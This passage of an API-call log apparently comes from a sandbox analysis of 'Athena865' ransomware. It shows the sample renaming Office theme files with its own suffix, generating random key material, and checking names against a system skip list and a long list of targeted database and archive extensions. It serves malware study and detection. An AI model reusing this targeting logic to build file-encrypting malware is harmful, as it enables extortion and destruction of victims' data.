RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.788] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.789] CloseHandle (hObject=0x17c) returned 1 [0136.789] CloseHandle (hObject=0x154) returned 1 [0136.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.789] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1 [0136.789] lstrcmpiW (lpString1="Aspect.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.789] lstrcmpiW (lpString1="Aspect.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".") returned 1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="..") returned 1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="windows") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="bootmgr") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="temp") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="pagefile.sys") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="boot") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="ids.txt") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="ntuser.dat") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="perflogs") returned -1 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2="MSBuild") returned -1 [0136.790] lstrlenW (lpString="Aspect.eftx") returned 11 [0136.790] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Aspect.eftx" | out: lpString1="Aspect.eftx") returned="Aspect.eftx" [0136.790] lstrlenW (lpString="Aspect.eftx") returned 11 [0136.790] lstrlenW (lpString="Athena865") returned 9 [0136.790] lstrcmpiW (lpString1="pect.eftx", lpString2="Athena865") returned 1 [0136.790] lstrlenW (lpString=".dll") returned 4 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".dll") returned 1 [0136.790] lstrlenW (lpString=".lnk") returned 4 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".lnk") returned 1 [0136.790] lstrlenW (lpString=".ini") returned 4 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".ini") returned 1 [0136.790] lstrlenW (lpString=".sys") returned 4 [0136.790] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".sys") returned 1 [0136.791] lstrlenW (lpString="Aspect.eftx") returned 11 [0136.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.Athena865") returned 88 [0136.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.athena865"), dwFlags=0x1) returned 1 [0136.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.792] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22554) returned 1 [0136.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.793] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.793] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.794] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.794] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b20, lpName=0x0) returned 0x17c [0136.796] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b20) returned 0x100000 [0136.797] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.798] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.798] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.799] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.799] CloseHandle (hObject=0x17c) returned 1 [0136.799] CloseHandle (hObject=0x154) returned 1 [0136.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.800] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2=".") returned 1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="..") returned 1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="windows") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="bootmgr") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="temp") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="pagefile.sys") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="boot") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="ids.txt") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="ntuser.dat") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="perflogs") returned -1 [0136.800] lstrcmpiW (lpString1="Austin.eftx", lpString2="MSBuild") returned -1 [0136.800] lstrlenW (lpString="Austin.eftx") returned 11 [0136.800] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Austin.eftx" | out: lpString1="Austin.eftx") returned="Austin.eftx" [0136.801] lstrlenW (lpString="Austin.eftx") returned 11 [0136.801] lstrlenW (lpString="Athena865") returned 9 [0136.801] lstrcmpiW (lpString1="stin.eftx", lpString2="Athena865") returned 1 [0136.801] lstrlenW (lpString=".dll") returned 4 [0136.801] lstrcmpiW (lpString1="Austin.eftx", lpString2=".dll") returned 1 [0136.801] lstrlenW (lpString=".lnk") returned 4 [0136.801] lstrcmpiW (lpString1="Austin.eftx", lpString2=".lnk") returned 1 [0136.801] lstrlenW (lpString=".ini") returned 4 [0136.801] lstrcmpiW (lpString1="Austin.eftx", lpString2=".ini") returned 1 [0136.801] lstrlenW (lpString=".sys") returned 4 [0136.801] lstrcmpiW (lpString1="Austin.eftx", lpString2=".sys") returned 1 [0136.801] lstrlenW (lpString="Austin.eftx") returned 11 [0136.801] lstrlenW (lpString="bak") returned 3 [0136.801] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1 [0136.801] lstrlenW (lpString="ba_") returned 3 [0136.801] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1 [0136.801] lstrlenW (lpString="dbb") returned 3 [0136.801] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1 [0136.801] lstrlenW (lpString="vmdk") returned 4 [0136.801] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1 [0136.801] lstrlenW (lpString="rar") returned 3 [0136.801] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1 [0136.801] lstrlenW (lpString="zip") returned 3 [0136.801] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1 [0136.801] lstrlenW (lpString="tgz") returned 3 [0136.801] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1 [0136.802] lstrlenW (lpString="vbox") returned 4 [0136.802] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1 [0136.802] lstrlenW (lpString="vdi") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1 [0136.802] lstrlenW (lpString="vhd") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1 [0136.802] lstrlenW (lpString="vhdx") returned 4 [0136.802] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1 [0136.802] lstrlenW (lpString="avhd") returned 4 [0136.802] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1 [0136.802] lstrlenW (lpString="db") returned 2 [0136.802] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0136.802] lstrlenW (lpString="db2") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1 [0136.802] lstrlenW (lpString="db3") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1 [0136.802] lstrlenW (lpString="dbf") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1 [0136.802] lstrlenW (lpString="mdf") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1 [0136.802] lstrlenW (lpString="mdb") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1 [0136.802] lstrlenW (lpString="sql") returned 3 [0136.802] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1 [0136.802] lstrlenW (lpString="sqlite") returned 6 [0136.802] lstrcmpiW (lpString1="n.eftx", lpString2="sqlite") returned -1 [0136.803] lstrlenW (lpString="sqlite3") returned 7 [0136.803] lstrcmpiW (lpString1="in.eftx", lpString2="sqlite3") returned -1 [0136.803] lstrlenW (lpString="sqlitedb") returned 8 [0136.803] lstrcmpiW (lpString1="tin.eftx", lpString2="sqlitedb") returned 1 [0136.803] lstrlenW (lpString="xml") returned 3 [0136.803] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1 [0136.803] lstrlenW (lpString="$er") returned 3 [0136.803] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1 [0136.803] lstrlenW (lpString="4dd") returned 3 [0136.803] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1 [0136.803] lstrlenW (lpString="4dl") returned 3 [0136.803] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1 [0136.803] lstrlenW (lpString="^^^") returned 3 [0136.803] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1 [0136.803] lstrlenW (lpString="abs") returned 3 [0136.803] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1 [0136.803] lstrlenW (lpString="abx") returned 3 [0136.803] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1 [0136.803] lstrlenW (lpString="accdb") returned 5 [0136.803] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1 [0136.803] lstrlenW (lpString="accdc") returned 5 [0136.803] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1 [0136.803] lstrlenW (lpString="accde") returned 5 [0136.803] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1 [0136.803] lstrlenW (lpString="accdr") returned 5 [0136.803] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1 [0136.804] lstrlenW (lpString="accdt") returned 5 [0136.804] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1 [0136.804] lstrlenW (lpString="accdw") returned 5 [0136.804] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1 [0136.804] lstrlenW (lpString="accft") returned 5 [0136.804] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1 [0136.804] lstrlenW (lpString="adb") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.804] lstrlenW (lpString="adb") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.804] lstrlenW (lpString="ade") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1 [0136.804] lstrlenW (lpString="adf") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="adf") returned 1 [0136.804] lstrlenW (lpString="adn") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1 [0136.804] lstrlenW (lpString="adp") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1 [0136.804] lstrlenW (lpString="alf") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1 [0136.804] lstrlenW (lpString="ask") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1 [0136.804] lstrlenW (lpString="btr") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1 [0136.804] lstrlenW (lpString="cat") returned 3 [0136.804] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1 [0136.804] lstrlenW (lpString="cdb") returned 3 [0136.805] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1 [0136.805] lstrlenW (lpString="ckp") returned 3 [0136.805] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1 [0136.805] lstrlenW (lpString="cma") returned 3 [0136.805] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1 [0136.805] lstrlenW (lpString="cpd") returned 3 [0136.805] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1 [0136.805] lstrlenW (lpString="dacpac") returned 6 [0136.805] lstrcmpiW (lpString1="n.eftx", lpString2="dacpac") returned 1 [0136.805] lstrlenW (lpString="dad") returned 3 [0136.805] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1 [0136.805] lstrlenW (lpString="dadiagrams") returned 10 [0136.805] lstrcmpiW (lpString1="ustin.eftx", lpString2="dadiagrams") returned 1 [0136.805] lstrlenW (lpString="daschema") returned 8 [0136.805] lstrcmpiW (lpString1="tin.eftx", lpString2="daschema") returned 1 [0136.805] lstrlenW (lpString="db-journal") returned 10 [0136.805] lstrcmpiW (lpString1="ustin.eftx", lpString2="db-journal") returned 1 [0136.805] lstrlenW (lpString="db-shm") returned 6 [0136.805] lstrcmpiW (lpString1="n.eftx", lpString2="db-shm") returned 1 [0136.805] lstrlenW (lpString="db-wal") returned 6 [0136.805] lstrcmpiW (lpString1="n.eftx", lpString2="db-wal") returned 1 [0136.805] lstrlenW (lpString="dbc") returned 3 [0136.805] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1 [0136.805] lstrlenW (lpString="dbs") returned 3 [0136.805] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1 [0136.805] lstrlenW (lpString="dbt") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1 [0136.806] lstrlenW (lpString="dbv") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1 [0136.806] lstrlenW (lpString="dbx") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1 [0136.806] lstrlenW (lpString="dcb") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1 [0136.806] lstrlenW (lpString="dct") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dct") returned 1 [0136.806] lstrlenW (lpString="dcx") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dcx") returned 1 [0136.806] lstrlenW (lpString="ddl") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="ddl") returned 1 [0136.806] lstrlenW (lpString="dlis") returned 4 [0136.806] lstrcmpiW (lpString1="eftx", lpString2="dlis") returned 1 [0136.806] lstrlenW (lpString="dp1") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dp1") returned 1 [0136.806] lstrlenW (lpString="dqy") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dqy") returned 1 [0136.806] lstrlenW (lpString="dsk") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dsk") returned 1 [0136.806] lstrlenW (lpString="dsn") returned 3 [0136.806] lstrcmpiW (lpString1="ftx", lpString2="dsn") returned 1 [0136.806] lstrlenW (lpString="dtsx") returned 4 [0136.806] lstrcmpiW (lpString1="eftx", lpString2="dtsx") returned 1 [0136.806] lstrlenW (lpString="dxl") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="dxl") returned 1 [0136.807] lstrlenW (lpString="eco") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="eco") returned 1 [0136.807] lstrlenW (lpString="ecx") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="ecx") returned 1 [0136.807] lstrlenW (lpString="edb") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="edb") returned 1 [0136.807] lstrlenW (lpString="epim") returned 4 [0136.807] lstrcmpiW (lpString1="eftx", lpString2="epim") returned -1 [0136.807] lstrlenW (lpString="fcd") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="fcd") returned 1 [0136.807] lstrlenW (lpString="fdb") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="fdb") returned 1 [0136.807] lstrlenW (lpString="fic") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="fic") returned 1 [0136.807] lstrlenW (lpString="flexolibrary") returned 12 [0136.807] lstrlenW (lpString="fm5") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="fm5") returned 1 [0136.807] lstrlenW (lpString="fmp") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="fmp") returned 1 [0136.807] lstrlenW (lpString="fmp12") returned 5 [0136.807] lstrcmpiW (lpString1=".eftx", lpString2="fmp12") returned -1 [0136.807] lstrlenW (lpString="fmpsl") returned 5 [0136.807] lstrcmpiW (lpString1=".eftx", lpString2="fmpsl") returned -1 [0136.807] lstrlenW (lpString="fol") returned 3 [0136.807] lstrcmpiW (lpString1="ftx", lpString2="fol") returned 1 [0136.807] lstrlenW (lpString="fp3") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="fp3") returned 1 [0136.808] lstrlenW (lpString="fp4") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="fp4") returned 1 [0136.808] lstrlenW (lpString="fp5") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="fp5") returned 1 [0136.808] lstrlenW (lpString="fp7") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="fp7") returned 1 [0136.808] lstrlenW (lpString="fpt") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="fpt") returned 1 [0136.808] lstrlenW (lpString="frm") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="frm") returned 1 [0136.808] lstrlenW (lpString="gdb") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1 [0136.808] lstrlenW (lpString="gdb") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1 [0136.808] lstrlenW (lpString="grdb") returned 4 [0136.808] lstrcmpiW (lpString1="eftx", lpString2="grdb") returned -1 [0136.808] lstrlenW (lpString="gwi") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="gwi") returned -1 [0136.808] lstrlenW (lpString="hdb") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="hdb") returned -1 [0136.808] lstrlenW (lpString="his") returned 3 [0136.808] lstrcmpiW (lpString1="ftx", lpString2="his") returned -1 [0136.808] lstrlenW (lpString="ib") returned 2 [0136.808] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1 [0136.808] lstrlenW (lpString="idb") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="idb") returned -1 [0136.809] lstrlenW (lpString="ihx") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="ihx") returned -1 [0136.809] lstrlenW (lpString="itdb") returned 4 [0136.809] lstrcmpiW (lpString1="eftx", lpString2="itdb") returned -1 [0136.809] lstrlenW (lpString="itw") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="itw") returned -1 [0136.809] lstrlenW (lpString="jet") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="jet") returned -1 [0136.809] lstrlenW (lpString="jtx") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="jtx") returned -1 [0136.809] lstrlenW (lpString="kdb") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="kdb") returned -1 [0136.809] lstrlenW (lpString="kexi") returned 4 [0136.809] lstrcmpiW (lpString1="eftx", lpString2="kexi") returned -1 [0136.809] lstrlenW (lpString="kexic") returned 5 [0136.809] lstrcmpiW (lpString1=".eftx", lpString2="kexic") returned -1 [0136.809] lstrlenW (lpString="kexis") returned 5 [0136.809] lstrcmpiW (lpString1=".eftx", lpString2="kexis") returned -1 [0136.809] lstrlenW (lpString="lgc") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="lgc") returned -1 [0136.809] lstrlenW (lpString="lwx") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="lwx") returned -1 [0136.809] lstrlenW (lpString="maf") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="maf") returned -1 [0136.809] lstrlenW (lpString="maq") returned 3 [0136.809] lstrcmpiW (lpString1="ftx", lpString2="maq") returned -1 [0136.809] lstrlenW (lpString="mar") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mar") returned -1 [0136.810] lstrlenW (lpString="marshal") returned 7 [0136.810] lstrcmpiW (lpString1="in.eftx", lpString2="marshal") returned -1 [0136.810] lstrlenW (lpString="mas") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mas") returned -1 [0136.810] lstrlenW (lpString="mav") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mav") returned -1 [0136.810] lstrlenW (lpString="maw") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="maw") returned -1 [0136.810] lstrlenW (lpString="mdbhtml") returned 7 [0136.810] lstrcmpiW (lpString1="in.eftx", lpString2="mdbhtml") returned -1 [0136.810] lstrlenW (lpString="mdn") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mdn") returned -1 [0136.810] lstrlenW (lpString="mdt") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mdt") returned -1 [0136.810] lstrlenW (lpString="mfd") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mfd") returned -1 [0136.810] lstrlenW (lpString="mpd") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mpd") returned -1 [0136.810] lstrlenW (lpString="mrg") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mrg") returned -1 [0136.810] lstrlenW (lpString="mud") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mud") returned -1 [0136.810] lstrlenW (lpString="mwb") returned 3 [0136.810] lstrcmpiW (lpString1="ftx", lpString2="mwb") returned -1 [0136.810] lstrlenW (lpString="myd") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="myd") returned -1 [0136.811] lstrlenW (lpString="ndf") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="ndf") returned -1 [0136.811] lstrlenW (lpString="nnt") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="nnt") returned -1 [0136.811] lstrlenW (lpString="nrmlib") returned 6 [0136.811] lstrcmpiW (lpString1="n.eftx", lpString2="nrmlib") returned -1 [0136.811] lstrlenW (lpString="ns2") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="ns2") returned -1 [0136.811] lstrlenW (lpString="ns3") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="ns3") returned -1 [0136.811] lstrlenW (lpString="ns4") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="ns4") returned -1 [0136.811] lstrlenW (lpString="nsf") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="nsf") returned -1 [0136.811] lstrlenW (lpString="nv") returned 2 [0136.811] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1 [0136.811] lstrlenW (lpString="nv2") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="nv2") returned -1 [0136.811] lstrlenW (lpString="nwdb") returned 4 [0136.811] lstrcmpiW (lpString1="eftx", lpString2="nwdb") returned -1 [0136.811] lstrlenW (lpString="nyf") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="nyf") returned -1 [0136.811] lstrlenW (lpString="odb") returned 3 [0136.811] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1 [0136.811] lstrlenW (lpString="odb") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1 [0136.812] lstrlenW (lpString="oqy") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="oqy") returned -1 [0136.812] lstrlenW (lpString="ora") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="ora") returned -1 [0136.812] lstrlenW (lpString="orx") returned 3 [0136.812] lstrcmpiW (lpString1="ftx", lpString2="orx") returned -1 [0136.812] 